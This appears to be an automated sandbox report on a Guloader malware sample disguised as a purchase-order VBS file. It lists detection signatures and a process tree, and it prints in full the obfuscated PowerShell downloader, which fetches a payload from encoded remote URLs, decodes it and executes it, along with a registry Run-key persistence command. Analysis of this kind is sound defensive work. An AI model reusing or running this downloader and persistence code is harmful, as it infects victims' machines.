Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/07/2024, 13:42

General

  • Target
    purchase_order_catalog_doc_NVT0046701572024000000000000.vbs
  • Size 102KB
  • Sample240715-qzrhvstarr
  • SHA256 da99bc4d4c3f45804afb8abcb8b72d9edaaa69cbfd08f8dde15bde2916afb487
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\purchase_order_catalog_doc_NVT0046701572024000000000000.vbs"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:696
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "write 'Underafdelinger Specialopgaverne Boj Dubiousness Scholastic Lgtere Ulovliges Laicity Usmidig Lreprocessen Elbowed Betndelser Bundbrttets Tyskhed Leprosariums subsist Xdiv Uniformness228 Ousted Oreillet Sprjtendes forvirrendes Irremediless Brodersakss Underafdelinger Specialopgaverne Boj Dubiousness Scholastic Lgtere Ulovliges Laicity Usmidig Lreprocessen Elbowed Betndelser Bundbrttets Tyskhed Leprosariums subsist Xdiv Uniformness228 Ousted Oreillet Sprjtendes forvirrendes Irremediless Brodersakss';If (${host}.CurrentCulture) {$Hesperus++;}$Rokeret='SUBsTR';$Rokeret+='ing';Function Delysten($Overherrers){$Brunellen=$Overherrers.Length-$Hesperus;For( $totalfredningerne=1;$totalfredningerne -lt $Brunellen;$totalfredningerne+=2){$Underafdelinger+=$Overherrers.$Rokeret.Invoke( $totalfredningerne, $Hesperus);}$Underafdelinger;}function Sttekassen($Setpixel){ . ($Bilradio) ($Setpixel);}$Materialise=Delysten ',MAoGz,iBlOl a,/P5 . 0, B( WPiRnsd oLw sF .NKTB O1 0R..0T; CWHi n 6 4M;P TxU6.4U;F rrvA: 1.2C1 . 0I)s G e,cFkUoS/ 2 0W1L0f0 1.0,1B ,F i r.eKf osxH/.1M2U1U.,0 ';$Aftnedes=Delysten ',UIs ePr -HAAg.e n.t ';$Scholastic=Delysten ' h.t t p.sP:F/ /,h.aIl.lTaNm.s pDrNi,nVgBsRqAuIaUr eFf.lUoSr,iFs tV. c,oJm..AaCu,/.wDpR- cJoAnLt e nAt /VtQh eTmUeRsR/TbLlIt mU/ a g bK/MPTsAe uBd.o vVu mE. a.s.i >AhTt t pEsN:E/S/ eBuNrRop-.fBiteIr,- vPeTcTh,iH.Fr,o /BwPp - aAdTmSi.nB/Nc sO/ PHs.ePuMd,oKv uVm .,aHsSiS ';$Ressouceanvendelsens=Delysten 'S>D ';$Bilradio=Delysten 'fi eExU ';$Fladblgs='Laicity';$Septenniality = Delysten 'FeDcNhKo U%Na.pOptd.aItSa,%E\CG.aHl ems,.ITEr yA .& &. e cEh o, tP ';Sttekassen (Delysten '.$Bg lBoRbtaul : I,n dAg r,ePbBs.bUeUsMt.e m.mOe l.s eSrC=U(,cFmCd. ,/Fc, $ SfeCpGtNe.nPnPiPaBlRi tUy.)T ');Sttekassen (Delysten 'O$BgIl.o,b.a.l :RD.u.bDi oSuFsTn eus s =.$ S c h oFlPaLs tTi,c,. s p.lBi tS(P$FR eCsKsRoEuUcIeUaYnSv eSnRd e,lFsFeKnGsS)B ');Sttekassen (Delysten ',[ NSeAt,.DSPe,r,v,iVcMeGP.oGiAn tMMEaPnEa,gRe r ] : :SSteLc uDr iBt y P rBo,t.oAcBoJlC =S [ N e,t,. SFe cIu,rNi t yIP rWostEo c oSl TUySp e ]O: : T l.sU1 2 ');$Scholastic=$Dubiousness[0];$Hederaceous= (Delysten 'K$Mg.l.oNb,aMlC:,SHjKaEs k e n dSeSs =,NBe.wP-,O b.jSeAcDt USPyfs.t,eDmE.TN eUtU.AW eTbAC.lRi,e.nHt');$Hederaceous+=$Indgrebsbestemmelser[1];Sttekassen ($Hederaceous);Sttekassen (Delysten ' $.S jPa sLk.e n,d,e s..sHTe a,dKeCr.s [ $ A,fHtSnTe dBe.sP]K= $fMMa t efrNi aCl i s.e ');$Monomethylic=Delysten ' $DSTjGa.s.kAeHnFdIe s.. D,o,wGn l o a d F iRl e.( $ S.c.hUo lKa sStUiTcU,,$Afao r v.i rUrVeOn,d e.sT) ';$forvirrendes=$Indgrebsbestemmelser[0];Sttekassen (Delysten 'R$ g lSo,b a,lm:,NRa,b,oVb,1,5P9M=E( T eGsCt,-NPAaMtShG $Rf oDr vAi rUrHe,n,d e sB)D ');while (!$Nabob159) {Sttekassen (Delysten 'C$BgGl.o bSa l :bD r,a m a tIi,zSeSrN1S8 4 =S$DtlrTuBeE ') ;Sttekassen $Monomethylic;Sttekassen (Delysten 'ASAtVaArStP-MS,l,eEeBpC I4A ');Sttekassen (Delysten 'C$OgCl oTb.a l :EN.aSbWowbO1I5H9.=C( TPeFs t - P.aBt.h $ fSoGr v,iAr r,e nSd eUsR) ') ;Sttekassen (Delysten 'S$Rg lBo b a,lS:,B,oBjU= $.grlpo bKaSlG:MSNp.e.cpi a lKoUpsg.aAvAe,rRn eT+ + % $ DFu bBi.o,uBs nPevsNs .Ac o u,nst ') ;$Scholastic=$Dubiousness[$Boj];}$Krydderiets=332132;$undewiness=25290;Sttekassen (Delysten 'G$SgFlSoAbEa.lS:SUSs m,iOd i g. =, .GPe tS-.CGo nGt.eonStK T$TfuoTrIv i,rPr e,n,dUe sB ');Sttekassen (Delysten 'K$ gSlSoSbSaAlD:DB r.iEtRtKl i n gI O=. ,[ SUy s,tUeMmV.SCKo n vHe.rutK]W:F:PFSrSoEmEBBaVsAeV6t4pS tHr i nDgS(A$NUOssmUiMd,i.g,)A ');Sttekassen (Delysten '.$ugSl.oDbhaJl :DB eKtMn d e lSsFe,rF S=V S[aSCyps.t e m . TCeRxAt,.,EOnDc o d.iTnMg ]N:S: ACS,C IDI..JGMeWt.SNtMr iEn,gL( $RB,r.i t t lMi.n.gS) ');Sttekassen (Delysten 'I$ g.l.osbCaTl,:.KOo,m.b iEnBaDt iBoan sPuSd d,a nAn e l s,e nD4 6G=E$ B.eBt.n.d,e,lUs e r .LsAuOb.s.tSrRi nng.(,$ KDrMy.dCddeBr iUentAsO,s$ uOn d eNwDi,n.e,sHsg), ');Sttekassen $Kombinationsuddannelsen46;"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1404
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Gales.Try && echo t"
        3⤵
          PID:1568
        • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "write 'Underafdelinger Specialopgaverne Boj Dubiousness Scholastic Lgtere Ulovliges Laicity Usmidig Lreprocessen Elbowed Betndelser Bundbrttets Tyskhed Leprosariums subsist Xdiv Uniformness228 Ousted Oreillet Sprjtendes forvirrendes Irremediless Brodersakss Underafdelinger Specialopgaverne Boj Dubiousness Scholastic Lgtere Ulovliges Laicity Usmidig Lreprocessen Elbowed Betndelser Bundbrttets Tyskhed Leprosariums subsist Xdiv Uniformness228 Ousted Oreillet Sprjtendes forvirrendes Irremediless Brodersakss';If (${host}.CurrentCulture) {$Hesperus++;}$Rokeret='SUBsTR';$Rokeret+='ing';Function Delysten($Overherrers){$Brunellen=$Overherrers.Length-$Hesperus;For( $totalfredningerne=1;$totalfredningerne -lt $Brunellen;$totalfredningerne+=2){$Underafdelinger+=$Overherrers.$Rokeret.Invoke( $totalfredningerne, $Hesperus);}$Underafdelinger;}function Sttekassen($Setpixel){ . ($Bilradio) ($Setpixel);}$Materialise=Delysten ',MAoGz,iBlOl a,/P5 . 0, B( WPiRnsd oLw sF .NKTB O1 0R..0T; CWHi n 6 4M;P TxU6.4U;F rrvA: 1.2C1 . 0I)s G e,cFkUoS/ 2 0W1L0f0 1.0,1B ,F i r.eKf osxH/.1M2U1U.,0 ';$Aftnedes=Delysten ',UIs ePr -HAAg.e n.t ';$Scholastic=Delysten ' h.t t p.sP:F/ /,h.aIl.lTaNm.s pDrNi,nVgBsRqAuIaUr eFf.lUoSr,iFs tV. c,oJm..AaCu,/.wDpR- cJoAnLt e nAt /VtQh eTmUeRsR/TbLlIt mU/ a g bK/MPTsAe uBd.o vVu mE. a.s.i >AhTt t pEsN:E/S/ eBuNrRop-.fBiteIr,- vPeTcTh,iH.Fr,o /BwPp - aAdTmSi.nB/Nc sO/ PHs.ePuMd,oKv uVm .,aHsSiS ';$Ressouceanvendelsens=Delysten 'S>D ';$Bilradio=Delysten 'fi eExU ';$Fladblgs='Laicity';$Septenniality = Delysten 'FeDcNhKo U%Na.pOptd.aItSa,%E\CG.aHl ems,.ITEr yA .& &. e cEh o, tP ';Sttekassen (Delysten '.$Bg lBoRbtaul : I,n dAg r,ePbBs.bUeUsMt.e m.mOe l.s eSrC=U(,cFmCd. ,/Fc, $ SfeCpGtNe.nPnPiPaBlRi tUy.)T ');Sttekassen (Delysten 'O$BgIl.o,b.a.l :RD.u.bDi oSuFsTn eus s =.$ S c h oFlPaLs tTi,c,. s p.lBi tS(P$FR eCsKsRoEuUcIeUaYnSv eSnRd e,lFsFeKnGsS)B ');Sttekassen (Delysten ',[ NSeAt,.DSPe,r,v,iVcMeGP.oGiAn tMMEaPnEa,gRe r ] : :SSteLc uDr iBt y P rBo,t.oAcBoJlC =S [ N e,t,. SFe cIu,rNi t yIP rWostEo c oSl TUySp e ]O: : T l.sU1 2 ');$Scholastic=$Dubiousness[0];$Hederaceous= (Delysten 'K$Mg.l.oNb,aMlC:,SHjKaEs k e n dSeSs =,NBe.wP-,O b.jSeAcDt USPyfs.t,eDmE.TN eUtU.AW eTbAC.lRi,e.nHt');$Hederaceous+=$Indgrebsbestemmelser[1];Sttekassen ($Hederaceous);Sttekassen (Delysten ' $.S jPa sLk.e n,d,e s..sHTe a,dKeCr.s [ $ A,fHtSnTe dBe.sP]K= $fMMa t efrNi aCl i s.e ');$Monomethylic=Delysten ' $DSTjGa.s.kAeHnFdIe s.. D,o,wGn l o a d F iRl e.( $ S.c.hUo lKa sStUiTcU,,$Afao r v.i rUrVeOn,d e.sT) ';$forvirrendes=$Indgrebsbestemmelser[0];Sttekassen (Delysten 'R$ g lSo,b a,lm:,NRa,b,oVb,1,5P9M=E( T eGsCt,-NPAaMtShG $Rf oDr vAi rUrHe,n,d e sB)D ');while (!$Nabob159) {Sttekassen (Delysten 'C$BgGl.o bSa l :bD r,a m a tIi,zSeSrN1S8 4 =S$DtlrTuBeE ') ;Sttekassen $Monomethylic;Sttekassen (Delysten 'ASAtVaArStP-MS,l,eEeBpC I4A ');Sttekassen (Delysten 'C$OgCl oTb.a l :EN.aSbWowbO1I5H9.=C( TPeFs t - P.aBt.h $ fSoGr v,iAr r,e nSd eUsR) ') ;Sttekassen (Delysten 'S$Rg lBo b a,lS:,B,oBjU= $.grlpo bKaSlG:MSNp.e.cpi a lKoUpsg.aAvAe,rRn eT+ + % $ DFu bBi.o,uBs nPevsNs .Ac o u,nst ') ;$Scholastic=$Dubiousness[$Boj];}$Krydderiets=332132;$undewiness=25290;Sttekassen (Delysten 'G$SgFlSoAbEa.lS:SUSs m,iOd i g. =, .GPe tS-.CGo nGt.eonStK T$TfuoTrIv i,rPr e,n,dUe sB ');Sttekassen (Delysten 'K$ gSlSoSbSaAlD:DB r.iEtRtKl i n gI O=. ,[ SUy s,tUeMmV.SCKo n vHe.rutK]W:F:PFSrSoEmEBBaVsAeV6t4pS tHr i nDgS(A$NUOssmUiMd,i.g,)A ');Sttekassen (Delysten '.$ugSl.oDbhaJl :DB eKtMn d e lSsFe,rF S=V S[aSCyps.t e m . TCeRxAt,.,EOnDc o d.iTnMg ]N:S: ACS,C IDI..JGMeWt.SNtMr iEn,gL( $RB,r.i t t lMi.n.gS) ');Sttekassen (Delysten 'I$ g.l.osbCaTl,:.KOo,m.b iEnBaDt iBoan sPuSd d,a nAn e l s,e nD4 6G=E$ B.eBt.n.d,e,lUs e r .LsAuOb.s.tSrRi nng.(,$ KDrMy.dCddeBr iUentAsO,s$ uOn d eNwDi,n.e,sHsg), ');Sttekassen $Kombinationsuddannelsen46;"
          3⤵
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4656
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Gales.Try && echo t"
            4⤵
              PID:1028
            • C:\Program Files (x86)\windows mail\wab.exe
              "C:\Program Files (x86)\windows mail\wab.exe"
              4⤵
              • Suspicious use of NtCreateThreadExHideFromDebugger
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:1016
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Indlogerendes" /t REG_EXPAND_SZ /d "%ligedannet% -w 1 $geolog=(Get-ItemProperty -Path 'HKCU:\Horsepath\').Interfilar;%ligedannet% ($geolog)"
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:1268
                • C:\Windows\SysWOW64\reg.exe
                  REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Indlogerendes" /t REG_EXPAND_SZ /d "%ligedannet% -w 1 $geolog=(Get-ItemProperty -Path 'HKCU:\Horsepath\').Interfilar;%ligedannet% ($geolog)"
                  6⤵
                  • Adds Run key to start application
                  • Modifies registry key
                  PID:4976

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            __PSScriptPolicyTest_mst5ll4h.ha1.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mst5ll4h.ha1.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512

            Gales.Try

            • Path C:\Users\Admin\AppData\Roaming\Gales.Try
            • Size 465KB
            • SHA256 22680dcd223fd59b696c65a8062eec3da2b548f8ee00435cbf42cc54b6837938
            • MD5 SHA1 SHA512 SSDEEP

            memory/1016-50-0x0000000002070000-0x00000000033A5000-memory.dmp

            memory/1404-3-0x00000238E8E10000-0x00000238E8E32000-memory.dmp

            memory/1404-14-0x00007FF9126D0000-0x00007FF913191000-memory.dmp

            memory/1404-13-0x00007FF9126D0000-0x00007FF913191000-memory.dmp

            memory/1404-53-0x00007FF9126D0000-0x00007FF913191000-memory.dmp

            memory/1404-2-0x00007FF9126D3000-0x00007FF9126D5000-memory.dmp

            memory/1404-42-0x00007FF9126D0000-0x00007FF913191000-memory.dmp

            memory/1404-41-0x00007FF9126D3000-0x00007FF9126D5000-memory.dmp

            memory/4656-18-0x0000000004C60000-0x0000000005288000-memory.dmp

            memory/4656-38-0x0000000007AE0000-0x0000000008084000-memory.dmp

            memory/4656-33-0x0000000005B50000-0x0000000005B9C000-memory.dmp

            memory/4656-34-0x0000000007460000-0x0000000007ADA000-memory.dmp

            memory/4656-35-0x0000000006040000-0x000000000605A000-memory.dmp

            memory/4656-36-0x0000000006DE0000-0x0000000006E76000-memory.dmp

            memory/4656-37-0x0000000006D40000-0x0000000006D62000-memory.dmp

            memory/4656-32-0x0000000005B20000-0x0000000005B3E000-memory.dmp

            memory/4656-31-0x00000000054D0000-0x0000000005824000-memory.dmp

            memory/4656-40-0x0000000008090000-0x00000000093C5000-memory.dmp

            memory/4656-21-0x00000000053A0000-0x0000000005406000-memory.dmp

            memory/4656-20-0x0000000005330000-0x0000000005396000-memory.dmp

            memory/4656-19-0x0000000005290000-0x00000000052B2000-memory.dmp

            memory/4656-17-0x0000000004560000-0x0000000004596000-memory.dmp